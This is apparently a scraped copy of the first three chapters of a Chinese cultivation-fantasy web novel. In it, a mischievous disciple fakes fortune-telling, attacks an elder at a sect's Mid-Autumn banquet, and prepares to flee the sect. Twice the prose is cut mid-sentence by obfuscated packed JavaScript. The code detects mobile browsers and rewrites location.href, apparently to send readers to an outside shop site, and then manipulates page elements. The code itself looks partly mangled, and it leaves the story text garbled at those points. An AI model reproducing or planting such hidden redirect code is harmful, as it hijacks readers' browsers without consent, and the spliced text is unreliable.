《我在修真界跑图找人》 1. 中秋宴 “嗯?只带了生辰八字,本人没来吗?” “是的大仙,能算吗大仙?” “唔,这有点……” “啪!” 蒙面人果断拍下一只沉甸甸的钱袋子,满眼希冀地望向算命摊铺后的少女。 原本面色为难的少女顿时展颜一笑:“好说!” 宽大的袖袍轻飘飘一挥,摊桌上的钱袋便消失得无影无踪。 收好了钱,少女清咳一声,负手站直,垂眸看定蒙面人递来的生辰八字:“来来来让我瞅瞅……嘶……” 她这厢正思索沉吟,那厢一个声音忽而远远地喊: “归笙!” 少女恍若未闻,仍旧专注地盯着眼前的生辰八字,边看边翘起兰花指,煞有介事地摩挲起自己下巴上并不存在的山羊须。 片刻,她眉毛一挑,神情古怪。 蒙面人只觉一颗心也被她那两缕绒绒的眉毛高高吊起,不禁双手捧心,忐忑发问:“大仙,怎么说?” 少女眼皮一掀,黑黢黢的眼眸深不见底,骇得蒙面人心里越发找不着底。 “大仙?” 眼见得快把人吓哭了,少女方才悠悠叹出一口长气。 她指着桌上的生辰八字,语气玄乎,意味深长,一字一句道:“我观这位施主呢,心性坚韧,意志坚定,为了一腔执念夙愿,便是付出断骨抽髓的代价也在所不惜……” “有如此可贵之品质,本该是顺遂圆满的一生,却因幼时的一场飞来横祸,此生无缘所求之物,实在可悲可叹,可感可泣……” 蒙面人听着听着,不知想起什么,逐渐热泪盈眶。 少女不动声色地瞅他一眼,压下眼底疑惑,再咳一声,继续道:“不过呢,我算出这位施主在不久的将来,会遇到一位命中注定的贵人……” 蒙面人期期艾艾地问:“是不是在这位贵人的提携下,他就能如愿以偿了?” 少女对他安抚地笑了笑,正要张口,又听不远处传来一声严厉的喝止: “归笙,住口!” 归笙迅速张口,一气呵成全无停顿:“不,是遇到这位贵人后,这位施主的命运将急转直下,更加糟糕!” “原本他还能勉勉强强浑噩度日,遇到这位贵人后,他将彻底一蹶不振,整个人跌落地狱,从此以后耽溺虚幻逃避现实,醉生梦死而不知今夕何夕,最终一缎白绫了此残生……” 蒙面人听不下去了,绝望地打断她道:“这算哪门子贵人?这是灾星吧!” 归笙断然点头:“是的,的确是命逢灾星,不过不必忧心!” 她拍拍胸脯,胸有成竹地道:“我有一计,可除此灾星!不过嘛……” 她故意拖长尾音,蒙面人心领神会,忙从袖中又掏出一只钱袋。 金币相击之音清脆悦耳,归笙听得心花怒放,虔诚地双手去接,浑然不察自己身后一道阴影降临。 “咚——!” 一道令人毛骨悚然的捶击声后,归笙脸面朝下,趴在桌上,后脑勺悠然飘起一缕青烟。 在她身后,肩披鹤羽的女子优雅地收起拳头,又一扬手,隔空抓住那只惨遭波及而高高飞起的钱袋。 将钱袋原物奉还,岑箐对蒙面人俯首一礼,言辞恳切:“师妹顽劣,童言无忌,还望阁下不要放在心上。” 随行的两名侍从应声上前,向蒙面人奉上两只玉匣。 “咔嗒”一声,匣盖开启,匣中各陈一枚丹药,光华流转,成色上佳,一看便知绝非凡品。 岑箐拱手道:“还望阁下允许我代师妹赔罪,微薄补偿,不成敬意。” 蒙面人却看都没看那丹药一眼,只是失魂落魄地盯着桌上的生辰八字。 岑箐不解,却无意多问。 她看出此人并无修为,应当只是个来相卦的凡人。 径自放下丹药,岑箐一把扯过桌上装死的归笙,拖着走了。 路上,归笙被岑箐抓着后领拖在身后,腰臀悬空,两腿软绵绵地摊直,鞋跟趿拉着,“咔哒咔哒”地在石板地上啃出两轨崎岖的划痕。 过路之人无不惊讶侧目,归笙却好似入定无觉,两手交叠在心口,微笑闭目,很是安详。 安详没一会儿,她就听头顶上的岑箐道:“归笙,别装死,把那东西收了,不然别怪我向你师兄告状。” “你师兄”三字震慑力十足,归笙不情不愿地睁开眼,摇摇晃晃举起胳膊,五指对准远处被丢下的算命小摊,遥遥一握。 “收。” 小摊光芒一绽,化作缕缕游丝,散入虚空。 同时,一只核桃从小摊处飞来,钻进归笙的袖袍。 她的一身神棍行头亦摇身一变,变作一袭灰得有些发黑,但依稀能瞧出原是白色的衣袍,两管破破烂烂的袖子迎风招摇,打的补丁手艺稀烂至极,活像一只只爬在衣服上的癞蛤蟆。 变回原貌,归笙哼哼唧唧地抱怨:“今日这身行头,花了我三枚铜板!三枚!师姐你好歹让我回个本……” 岑箐冷冷地道:“袖子里是什么?掏出来。” 归笙扭身抱住岑箐的腰一阵乱蹭:“哎呀哈哈哈师姐你来接我啦!好爱你师姐!不过今日逮……咳,接我接得比往常要早一些呢!是师姐你太想我了吗?” 岑箐猛戳腰间小混蛋的脑门:“今天是什么日子你忘了吗?” 归笙先是疑惑:“今天是什么日子?” 随即大彻大悟:“莫非是师姐你大喜的日子?是紫涧峰的那个武痴还是列缺峰的那个雅士?总之不管是哪位都恭喜恭喜,红包拿——” “咚!” 归笙捂住自己再遭重创的脑袋,眼冒金星,弱弱呻吟:“那个……我真的不知道今天是什么日子……还请师姐指点一二……” 瞧她这副没心没肺的样子,岑箐重重叹气:“你啊你,连七峰共赴的中秋晚宴都忘了!你师兄又要因为你挨诸位峰主的骂了!” 归笙眨了眨眼,一撇嘴道:“哦,原来是这个事啊,我还真忘了呢。” 又不以为意地耸耸肩:“骂我师兄就骂呗,他们骂得再凶,也动摇不了我师兄首席弟子的地位,只能过过嘴瘾咯。” 这话倒是没错。 岑箐摇摇头:“得亏来逮你的是我,若是让眠阳峰那些爱嚼舌根又小肚鸡肠的见了,还不得把你的脊梁骨给戳歪。” 归笙满不在乎:“说就说去,师兄常说我坐姿不端正,指不定我的脊梁骨早就歪了。” 岑箐无语:“你能别什么话都朝你师兄身上拐么?” 归笙喊冤:“不是师姐你先提他的吗?没办法,你要是有个这么优秀的师兄,你也会忍不住时刻挂在嘴边的……不过师姐你自己就是霞澜峰的首席大师姐了,也不需要。” 岑箐看她片刻,唇角微抿,语重心长地道:“与其把你师兄挂在嘴边,不如勤勉修炼,成为那个被挂在嘴边的人。” 归笙笑嘻嘻又去蹭岑箐的腰,避开了她的视线,道:“师姐我刚刚给人相卦的时候你干嘛揍我不让我继续往下说啊?我脑袋真的好痛哇。” 她话题转得生硬,显然不愿多谈,岑箐无声叹息,便也顺着她的话回道:“别人诚心相卦,你何必说那些打击人的话?” 归笙哼道:“我瞎说的嘛,毕竟那人若真想算出个好歹,到我这一看就是个不靠谱的骗子这里来做什么?” “果不其然,那命格是我这个外行中的外行都能看出来的大富大贵吉人天相,看得我牙根酸苦妒火中烧……师姐你懂吗?这感觉就像有个人提着一大桶金元宝走在路上,却拦下了我这个路过的穷鬼问:‘姑娘你看我这钱多不多啊’……所以我才一时没忍住,说了晦气点话以泄我心头之愤。” 岑箐不赞同道:“万一人家的确事出有因,能问的都问过了,实在是走投无路,只能到你这街边小摊碰碰运气,死马当活马医呢?你胡说八道多伤人心。” 这话有理。 归笙想了想,良心痛了痛,讪讪地道:“好吧,是我错了,还好师姐你方才替人家狠狠教训过我了,希望他收下补偿吧,那可是你们霞澜峰的丹药啊,多少人挤破头也抢不到一颗呢……” 二人又聊了几句,渐渐走出人烟聚集的街巷,走进杂草丛生的郊外古道,岑箐道:“来不及走回去了,用传送法宝吧。” 话音才落,四人便如踏入一道无形的门,数步之间,物换星移,古道西风向后隐去,七道巍峨连缀的山峰,如镶于天幕的七颗碧珠,近在前方。 来到山脚,岑箐抬手,印上一道无形的屏障。 刹那间,掌心下有水波状的流光漾开,四方的云雾被这流光牵引而来,铺作一纵蜿蜒而上的云梯。 归笙蓦地出声:“师姐你松开我,让我踩踩这云梯,估计要有好一阵踩不到了呢。” 岑箐斜她一眼:“这会儿知道害怕了?” 归笙缩缩肩膀:“那可不,那帮家伙早就看不惯我,说不定这次直接撺掇掌门赶我出宗门咯。” 岑箐将归笙拎到眼前扶稳站好,替她理了理凌乱的碎发,放柔声音道:“迟到而已,不会把你赶出宗门的。” 归笙眨了眨眼,笑而不语,侧脸在岑箐指尖轻蹭了下。 四人登上云梯后,云梯自发沿山道上行,周身场景变幻如梭,几乎一步一景,约莫半炷香后,越过一道遮蔽视野的山头,眼前豁然开朗。 千重璇霄丹阙映入眼帘,瑶池仙台林立不绝,演武场、藏宝阁、集议殿……各式建筑气势恢宏,错落其间。 这便是归笙与岑箐的师门,坐落于中州七峰的第一宗门,天霄派。 今夜中秋,七峰之首——太虚主峰上,数千张座席浩荡排开,灯火辉煌,烟花盛放。 遥遥听得觥筹交错,其乐融融之音,却在归笙与岑箐二人到来时,倏然静默。 无数双意蕴各异的视线,自宴席的四面八方投来。 静默中,岑箐泰然自若,躬身行礼:“禀掌门,弟子已将栖雪峰归师妹带回。” 她所对之向为宴席上首,座上之人一副青年样貌,姿容俊秀,却因神色过于冷峻,令人见之生畏。 奇怪的是,他的样貌比席间众多修士年轻许多,两鬓却斑白如雪,眉心一道褶痕,似是常年劳心劳力所致。 此人正是天霄派掌门,云起凡。 归笙从岑箐身后冒个头出来,也吊儿郎当地随了一礼。 她一冒头,席间顿时响起窃窃的议论。 归笙侧耳听了听,期待能听到一些充满新意的论调,结果还是“没规矩”“不成体统”“穷酸”“还是老样子”“没半点长进”之流的陈词滥调。 这些老掉牙的词儿她足足听了三年,耳朵都快听出茧子了。 听得上首传来一句“免礼,回座”,归笙干脆利落地直起身。 她抖抖两袖,大摇大摆地穿过一众座席,径直走向方才骂她骂得最起劲的那一席。 那席上是个少年,也算眉清目秀,但在见到归笙气势汹汹地走来时,吓得面目扭曲,便连那一点清秀也失去了。 随着归笙向那少年越走越近,其他席间也隐有抽气之声,似有一声制止的暴喝在众人喉间酝酿。 就在那少年要原地蹦起,其他席间的那声暴喝要喷薄而出时—— 归笙脚底一个急转,整个人转了个向,往截然相反的一处角落走去。 “……” 少年身体一松,也自知被耍了一通,脸色铁青。 归笙才不管他脸是什么颜色,一颗心早已扑到了那处角落。 这场中秋宴从半月前就开始悉心筹备,处处张灯结彩,灯花明灿,唯独这一角落,被排挤在灯火弥漫的边缘之外,笼罩在灰暗冷清的阴影之中。 归笙走到近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745410|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,果不其然地望见,在那阴影之中,端坐着一道雪白的身影。 说是雪白也不恰当,那身衣裳本身泛着漂洗过数十回的黯色,不过是因那少年姿容过盛,形貌似漱冰濯雪,才连带那一袭灰白的旧衣都熠熠生彩。 归笙眨了眨眼,小声地跟他打招呼:“师兄,我来啦。” 云临渡似乎这才注意到她。 他抬眼,眸中静无波澜,对她微一颔首。 复又垂眸,继续喝茶。 归笙“嘁”了一声,自顾自坐到他身后的空席,低头扫了一眼桌面。 嗯,发霉馒头,烂菜叶子,以及苍蝇泡澡。 与方才瞄到的其他座席上的美味佳肴天差地别。 归笙想了想,藏在袖底的手指轻轻一勾。 茶盏中的苍蝇尸首徐徐升起。 归笙眼珠滴溜溜转了一圈,在太虚峰的席间一定。 上回骂她是废材的一个太虚峰弟子,此刻正敞大嘴巴笑得开怀,归笙能清晰看到他齿缝间挂着的青绿菜叶。 好,就是他了。 归笙对准那张嘴巴,屈指一弹。 悬浮的苍蝇尸首便如上弓的弹丸,电掣而出。 然而没能掣出一尺,那苍蝇便惨遭戮尸,于空中断成两截。 有霜雪的寒意拂过归笙的耳际,是她师兄髓华的气息。 身前的人并未回身,归笙只能听到他冷淡的声音:“勿生是非。” 归笙嘴角一耷。 她抓起馒头,怼到云临渡腰侧,恶狠狠道:“这东西给你你吃?” 云临渡侧头看了眼,沉默一瞬,低声说:“忍一忍,等结束后回栖雪峰,再给你做一顿吃。” 归笙这才貌似勉为其难实则万分满意地收回手:“行吧。” 毕竟这宴席上的玉盘珍馐再美味,在她心里也没有她师兄亲手做的好吃。 有云临渡看着,不能使坏了,归笙只好百无聊赖地揪起了馒头。 她用白白紫紫的馒头屑在桌上拼成两高两矮的四个小人,又摸来那些烂菜叶子,为馒头小人中的高挑女子摆了条相对精致的裙子。 整个过程中,归笙的眼睛虽然黏在桌上,一双耳朵却暗暗竖起,广纳宴席各方的交谈之音—— “……莲华殿祈灵祭典在即,眠阳峰可收到了请帖?” “收到了,但叶峰主已去信婉拒了。” “咱们自家人在一起还用讲这些虚言?西漠可不比咱们中州灵源充沛,修炼环境艰苦得很,说是穷山恶水也不为过,能办出什么好祭典?何必白白去吃一趟苦?” “要我说西漠也是倒霉,自从三百年前开始没落,到如今就全凭莲华殿那些灵侍吊着一口气……啧啧,想来要不了多久,西漠就无力自成一方域境了,迟早有天会被我们中州……” 云起凡忽然瞥来一眼,淡声道:“慎言。” 他口吻中并无威慑之意,只是一个平静的提醒,那最后说话的中年修士也应声止住了话头,诺诺不敢言语,但又似乎不大服气,脸色一时憋屈难看。 就在这时,其他座席有人笑道:“诸位可听过风声了?北原近来倒是出了件大事——魔尊死了!” 此言一出,满座哗然。 却不是因为感到震惊,而是因为太过好笑。 “不是吧,又死了?” “真不愧是五方域境内最为动荡之境,魔尊死了都成了家常便饭了。” “毕竟是妖魔鬼怪发源之地、魑魅魍魉栖身之所,那种地方发生什么事都不稀奇。” “动荡些也还好,至少消息畅通,打探情报容易,像南溟那样不声不响,却偏偏去一个死一个的才叫瘆人!” “还是先管好咱们中州自己的事吧!近来那个什么……坤仪派?听闻有几分声势,已经将不少宗门压下去了,这样下去……” 回应这最后一句的,是一阵轻蔑的笑声。 笑够了,有一人道:“有什么好担心的?你听听人给自己起的名字,‘天霄’对‘坤仪’,天永远压地一头,看来很是有自知之明呐。” 却也有人不赞同:“可不要小瞧了人家……咱们要防微杜渐……防患未然啊……” 这声音吞吞吐吐,显然已是深醉状态,听得归笙眉头一皱。 “当年……嗝……你们瞧不起栖雪峰……非要去招惹人家……怎么样?没想到人云雪意……自己没什么本事……倒是很会找姘头……” “他带回来的那个妖女……当年可是把咱们害惨了啊……” 说着说着,那修士声音发怵,没敢再说下去。 “惨……?谁能有我们眠阳峰惨……” 接话的是一名锦衣华服的中年修士,与那被归笙恐吓的少年同在一席,同样已醉得不轻。 提起往事,那修士双目通红,眼中有痛恨的泪光闪烁。 又不知想起什么,转而醉醺醺地笑起来,痛快地道:“不过……呃……他们遭报应了啊……” “这不……死了都快三年了……至今还没找到尸首……留下两个半大的徒弟……其中一个还不成器……” “哈哈……这就叫自作孽……不可活……啊!嗬……” 说话者陡然发出一声痛叫,霎时酒醒了大半,惊怒瞪视不知何时蹲上身前席桌的少女。 满席酒菜泼洒一地,将灰白的袍角染得惨不忍睹,归笙却浑不在意。 她一手举筷,将此人的舌头死死夹住,不断向外拉扯。 另一手则捏着雪亮的餐刀,对准了那条涨紫的舌根。 归笙直视那双惊恐的眼睛,笑眯眯道:“好一个自作孽不可活,叶峰主,我瞧你这条舌头也作孽得很,这就帮你处理掉吧?” 说完,她不作停顿,手起刀落。 锋芒一闪间,四面八方响起震怒的声音—— “将这逆徒拿下!” 2. 出宗门(上) “叮——” 一记剑光劈至腕骨,震飞了归笙手里的餐刀。 她“嘶”了一声,方才捂住麻痹的手腕,又有一道剑芒直指眉心而来。 好在有人比那剑芒更快,高颀的身形瞬时挡在她的身前,不动如山。 猝然收力的嗡鸣声中,剑尖在云临渡额前一寸停住。 荡开的剑意寒凉刺骨,霎时在四下席面覆上一层冰霜。 归笙窝在云临渡身后,往手腕上吹了口热气,心里直犯嘀咕。 她可真是好大的排面,云起凡这厮竟然亲自下场来擒她。 前方,掌门云起凡手持剑柄,眉心紧蹙:“临渡,让开。” 云临渡寸步未移,只深深俯首,道:“师妹顽劣,是弟子之责,弟子定带她回栖雪峰好生管教。” 云起凡眸光幽深,沉冷道:“临渡,你师妹当众对眠阳峰主出手,这可不是简单的‘顽劣’二字便能含混过去的。” 他的身量略高于云临渡,因而能越过后者的肩头,将冷厉的视线对准其身后的归笙。 “身为弟子,以下犯上,不敬师长,此乃重忌。何况你师妹出手狠辣,更是罪加一等。按照门规,理当废除她的修为,自此逐出宗门。” 停顿了一下,云起凡道:“但你我都清楚,你师妹无一丝修为可废。” 云临渡唇角紧抿,归笙则满不在乎地歪了歪头。 她扯了下自家师兄的袖子,示意他让一让,让她来发挥,却被用力挣开。 云临渡侧首斜她一眼,归笙自是看出他在警告她闭嘴。 归笙无奈望天。 何必呢,让她来发挥的话,顶多一炷香的工夫,她就能被提溜着后领丢出天霄派了,她闹这一出的目的也就达到了。 不过她毕竟没有事先跟云临渡说好,他这会儿觉得她在作死也是情理之中。 归笙只好暂且缩回云临渡背后静观其变,继续听云起凡在前头叭叭个不停:“自从雪意与……与他道侣身死,你师兄妹二人便独占栖雪峰,实在于规矩不合。” “临渡,你勤勉精进,宗门考核屡夺冠首,如今位列天霄派首席弟子,即便你母亲曾对诸位前任峰主犯下过错,但时过境迁,诸峰大度,愿意不再与你为难。” “但你师妹……” 云起凡的话音戛然而止,似是觉得彼此心知肚明的事情不必再提。 但他不开口,自有其他一众心怀不满的旁人接上话头: “而你师妹霸占栖雪峰得天独厚的灵源,却始终修为低下,多年不曾有所长进,简直与凡人无异!至今全仰仗你母亲留下的各路法宝,才勉强能留在天霄派!” “若本身天赋低下,愿意勤能补拙也就罢了,无人会说她,可偏偏你师妹不思进取,时常擅自出宗下山,混迹凡间招摇撞骗,不务正道,丢人现眼,秉性更是顽劣不驯,屡教不改……若非看在你二人已故父亲的面子上,这样的弟子,早便要赶出天霄派了!” “临渡,念在你早三年失去双亲,又勤奋上进,掌门素来对你关照颇多,只要你现在让开,掌门和我等自不会计较你此番偏私之过……但你师妹屡次犯禁,早已怨声载道,加之今日这一回,无论如何,戒律堂她是必须走一遭的。” 唇枪舌剑,滔滔不绝,云临渡却仍是没有让步,反而把探头探脑的归笙又往身后塞了塞。 他道:“师妹有错,是弟子管教失职,待中秋宴过,明日一早,弟子自会带师妹前往戒律堂请罪,并请代为受罚。” “……” 众人面面相觑,不少人面上显出不虞,因小辈这充耳不闻、冥顽不灵的态度。 但也有人眸光闪动,与想到一处的人交换目光,随即清咳一声,展露出包容又大度的笑容。 “临渡啊,念在你师兄妹相依为命,不忍她受罚……” “那这样吧,你如此执拗,若是将栖雪峰下的镇山石移开,便可将功抵过,大家自然不与你师妹计较前嫌。” 听到此处,始终安静听训的云临渡倏然面色一冷。 归笙也没忍住,“扑哧”笑出了声。 她一出声,原本稍微缓和的气氛又是一凝。 “哈哈……原来在这里等着呢。” 归笙从后头攀住云临渡的肩膀,踮脚冒出个头来,对那大言不惭又笑容僵住的家伙努努嘴,轻飘飘道:“回去做梦吧,梦里什么都有。” 话音落下,四下屏息,落针可闻。 很好,气氛到了。 归笙暗暗清嗓,拿好派头,打算大闹一通:“掌……” “掌门,有话好好说嘛。” 一道清润的男声蓦地响起,先她一步抢走了场子。 归笙:“……” 这声音有点耳熟。 归笙循声望去,却先对上了岑箐安抚的目光。 在她身前的座席上,一袭华服的男人折扇款款,正是方才的发话之人。 归笙自然认得他,此人是霞澜峰峰主,她岑箐师姐的师父,岑翎。 归笙于是明白,大概是岑箐拜托她师父开口,为他们师兄妹解围了。 当然,这位岑峰主不知道什么缘故,一向也对她师兄颇多照拂,时不时就托人送来霞澜峰新炼的丹药,不过对方目的不明,吃人嘴短,师兄一向都是原封不动地退还。 但岑翎也没跟他计较,多年如一日孜孜不倦地向栖雪峰示好。 这不,见云起凡望过去,岑翎闲适的姿态不减半分,施施然摇着折扇,接着道:“至少先把剑放下吧?仔细伤着临渡,咱们天霄派可就这么一个首席弟子,宝贝得很。” 又补了一句:“就算抛开虚名不谈,临渡再怎么说,也是掌门你的侄儿啊。” 归笙听得直点头:她师兄确实宝贝得很。 天霄派七峰弟子共计三千余众,各峰最优秀的弟子便称作该峰首席,比如岑箐就是霞澜峰的首席弟子,而七位首席中最为出色者,才有资格称为天霄派首席弟子。 “岑峰主可真会和稀泥。” 斜对座,洄霜峰主看热闹不嫌事大,又素来爱和岑翎斗嘴,悠悠出声打趣:“若被冒犯的不是眠阳峰,而是你霞澜峰,你可会如此大度?” 岑翎睨去一眼,呵呵笑言:“我行得端坐得正,又没讲已故之人的闲话,人家小辈为何要冒犯我?” “倒是你,林峰主。” 岑翎折扇一合,往桌上一敲,佯做威胁道:“你面前的盘子里还摆着我炼的补益丹,跟我说话长点心,小心被我记恨上了,下回偷偷在丹药里给你下毒啊。” 他口吻戏谑,有意玩笑,林峰主也不恼,看出他有心缓和气氛,便也顺水推舟,道一句“罪过罪过”,转而对岑翎身旁脸戴面具的女子高声道:“岑夫人,霞澜峰的炉鼎何其珍贵,投鼎的皆是天材地宝,怎可遭到毒物亵渎?您可得好好管束岑峰主,千万别由着他草菅人命啊!” 面具女子低头掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745411|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,岑翎听到她的笑声,直接拿扇子朝林峰主丢了过去,笑骂:“拿我夫人压我,可算给你找对法子了!” 他二人这么一打岔,除了眠阳峰的座席外,其他席间皆是笑声连连,气氛一时舒缓许多。 岑翎丢完扇子,假意起身去捡,实则径直走到对峙的三人身边,大剌剌往云临渡身前一杵,有意无意地拿肩膀怼开云起凡的剑。 岑翎贵为峰主,还是天霄派首屈一指的丹修大能,不是一般的金贵,云起凡只得无奈地把剑偏了偏,总算没再直指云临渡的眉心了。 岑翎认真地道:“掌门呐,依我之见,这事本就是叶峰主行为不端在先——在阖家团圆的中秋宴上,对人家故去的师父师母出言不逊,可是长辈所为?小辈年轻气盛,一时气愤上头,下手略失轻重也情有可原。硬要追究的话,不慎传出去了,中州其他宗门指不定怎么在背后编排我们,说我们这帮老家伙倚老卖老,和自家弟子过不去呢。” 归笙听着,暗赞岑翎劝得妙哇。 许是在中州第一门派的位置上坐久了,天霄派确实别的可以不要,但面子是一定要的。 果不其然,有岑翎带头后,周围的风向突然就变了,渐渐地有劝和的声音响起来,云起凡的脸色也是变幻莫测,看得归笙很是为他那张面瘫脸担忧,担忧他会不会抽筋。 岑翎继续道:“再说,领罚随时都能领,何必在中秋宴上直接将人小姑娘押去戒律堂?这不有失和乐氛围嘛……不如就如临渡所言,待宴会结束,明日由他带着自家师妹去戒律堂领罚吧。” “……” 在一众“岑峰主所言极是”“切勿失了和乐氛围”“掌门且坐下消消气”的附和声中,云起凡变换不停的神色最终定格为无奈,执剑的手臂落回身侧,剑尖指地。 云临渡俯身一礼:“多谢掌门。” 岑翎:“那我呢?” 归笙冒出个头来:“多谢岑峰主!” 岑翎哈哈一笑:“小丫头走完戒律堂一遭,我会让岑箐去给你送点能帮你下来地的丹药的。” 归笙嘻嘻哈哈:“那就再提前谢过岑峰主了!” 岑翎摇着折扇回去了,云起凡也收剑入鞘回去了,周围看热闹的也重新聊天的聊天,拿筷的拿筷,看歌舞的看歌舞了,逐渐恢复到之前其乐融融的宴会氛围。 唯独醒了酒的眠阳峰主叶晦脸色沉凝,攥着酒盏的手指泛白。 他心知肚明,无人是真心为被夹了舌头的他说话,周围那帮人针对那丫头,不过是眼馋她背后的栖雪峰却不得,只能借他这个由头,从嘴皮子上泄愤罢了。 然而想是这样想,叶晦面上不发一词,只是阴鸷地盯着归笙。 归笙注意到了,当即嬉皮笑脸地以鬼脸回敬。 瞪她作甚?她除了最后的道谢,全程可一句话都没来得及说啊。 怎么不敢瞪岑翎呢?也对,毕竟霞澜峰在天霄派的地位,仅次于掌门所在的太虚主峰,眠阳峰哪敢和霞澜峰起冲突啊。 叶晦这个欺软怕硬的东西,也算是和他那早死的父亲一脉相承。 闹剧收场,云起凡提醒那边还站着的两个小辈:“归座。” 归笙便一蹦一跳地跟在云临渡后头,坐回了那个阴暗的小角落。 圆月西斜,声声丝竹管弦的吹拉弹唱之中,中秋宴临近尾声。 某一刻,云临渡若有所感,蓦地回头。 身后的座席上,已空无人影。 3. 出宗门(下) “叩叩。” “进!说了多少次啦师兄你进我屋不用敲门……” 之后的话音淹没在“砰砰通通”的捣鼓声里。 云临渡微微一顿,深吸口气,推开门。 饶是做好了心理准备,但当屋中景象映入眼帘的刹那,他还是不忍直视地拧了下眉。 一言蔽之,满室狼藉。 古籍图纸、笔墨符箓、各式法宝……不胜枚举的东西从案上漫到地下,又从地下堆到榻上,一间好端端的屋子被塞得几乎无处供人落脚。 然而屋中那道上蹿下跳穿梭的人影却丝毫不受影响,在屋子里的行动如鱼得水,灵活至极。 云临渡停在门口,道:“你这是做什么?” 语气清冷疏淡,暗藏隐隐的不耐,像是面对一只早就想放弃不管,却又始终无法脱手的沉重包袱。 归笙早已习惯他这副刺挠的态度,并不放在心上,娴熟地怼回去道:“准备开溜啊,师兄你瞧不出来吗?” 她看也不看云临渡,兀自收拾行囊收拾得飞起,随口解释道:“那戒律堂是何等血腥残忍之地,经常逮人过去的师兄你会不知道吗?你师妹我现在好歹还算是个完整的东西,真要去戒律堂走一遭,回来那可就是东一块西一块了,还是拼不起来的那种……此时不跑更待何时?” 云临渡:“……” 他没理会她的胡言乱语,只是问:“你要下山?离开天霄派?” 归笙:“嗯!” 云临渡:“去哪里?” 归笙潇洒地道:“只要能暂避风头,去哪里都行,等云起凡那厮忘了这一茬,我再偷偷摸摸地溜回来,不就能免于挨罚了嘛。” 她毫不避讳地将“去意已决”写在了脸上,云临渡自知多说无益,说不过,也说不动。 沉默片刻,他走进屋里,去接归笙手里的行囊:“我跟你一起走。” 归笙却反手一杆痒痒挠将他怼出老远。 她瞪着云临渡,凶神恶煞地道:“说什么呢师兄?我俩都跑了,谁来守栖雪峰?只怕我们前脚刚走,后脚那些垂涎栖雪峰上百年的老不死就轰开镇山石,攻上山头登堂入室了!” 云临渡捂着被她戳痛的腰腹后退两步,归笙则持续挥舞着痒痒挠恐吓他道:“师父当年舍命相搏才没让那帮家伙得逞,师母即便真的……真的身死,听了你这撂挑子的话,绝对爬也要从坟里爬回来把你的腿打断!” 云临渡一时没说话,归笙自觉将他的反应理解为被她震慑到了。 归笙丢掉痒痒挠,走过去拍他的肩膀,放缓语声,带些憧憬地道:“师兄,你就放我出去玩一趟吧……你知道的,我和你不一样。” “你是天霄派的首席弟子,年年下山历练都少不了你,大概你早就跑过五方域境的不少地方了,但我长这么大,还从没离开过天霄派方圆十里的地方呢!我早就想出去闯荡一番了。” “当然最重要的是……” 归笙屈起指节,往自己脑袋上一敲,意有所指地道:“刚好试试这倾注了我十多年心血的东西顶不顶用。” “……” 云临渡盯她许久,移开视线,叹了口气,状如无奈的妥协。 他没话说了,只剩下一个疑惑:“那你为何要带上这东西?” 他指的是归笙正往行囊中揣的一面铜镜。 也不怪他有此一问,这面铜镜年久失修,早已破损不堪,不仅底座爬满裂纹,镜面成像亦是模糊不清,照物扭曲变形,恐怕收破烂的都不稀得收,归笙却要带着它上路。 归笙:“这镜子怎么了?这镜子多好啊!” 她深情款款地抚摩镜面,一本正经地向云临渡卖弄道:“这镜子陪了我七八年,没有一次不把我照得容光焕发、光彩动人的,我怕换个镜子就没这么好的待遇了,所以我一定要带上它!” 云临渡:“……” 归笙无视他满脸的“我就听你胡编”,小心翼翼用棉絮将铜镜裹好,又妥妥帖帖地放进行囊,随即抽紧束带,收拾完毕。 云临渡:“就带这么点东西?” 归笙:“带多了麻烦,在外头想买什么不方便?钱用完了就摆摊相卦挣点。师母当年兴致勃勃要教咱俩相卦,是师兄你自己宁死不肯学的,所以只能靠做宗门的任务挣钱,自然不懂我这种说走就走的底气。” 她展开腰间的乾坤袋,对准行囊道一声“收”,半人高的行囊便被整个收进拳头大的小袋子里。 见云临渡仍是欲言又止,归笙想了想,郑重承诺道:“一年以内,我定会回来。一年对修士很快的,师兄你闭个关就过去了。” 说完,她拔腿就走。 云临渡忽然喊住她:“归笙。” 归笙脚步一顿,听出他语气中的细微变化。 一回头,就见云临渡安安静静地望着她。 归笙微微恍惚,因他那副融合了师母与师父优点的眉眼。 然而,形似神不似。 眼前这一双琉璃般剔透的眼眸,既无师母的鲜活,又无师父的柔和,无论何时皆是清寂无澜,比冷月寒潭更甚。 “我不论你在盘算些什么,但师母师父早在三年前便已身死。” 云临渡开口,语声极淡。 “你别忘了,三年前,他二人留下的魂灯,是我们亲眼看着熄灭的。” 从语气到神态,他都平静至极,就好像在说无关之人的事情。 归笙笑了笑,反问道:“我能盘算什么?” 稍作停顿,到底被气得不行,她又道:“师兄你何必担心太过?我私自出逃,天霄派那些人再不会拿我烦你,暂时甩掉我这个包袱,你应该感到高兴才是,何必如此惺惺作态。” 云临渡:“归笙。” 他语气骤冷,归笙也不怕他,依旧笑嘻嘻道:“哎呀师兄,你在我面前就别装了,你是怎么想的还能瞒得过我吗?我可是同你一起长大的师妹哎,不是亲手足胜似亲手足……师母师父走后,这些年你对我的态度如何变化,你真当我一无所知吗?我又不是根木头。” “就像这样。” 归笙忽然扑过去,一把抱住云临渡。 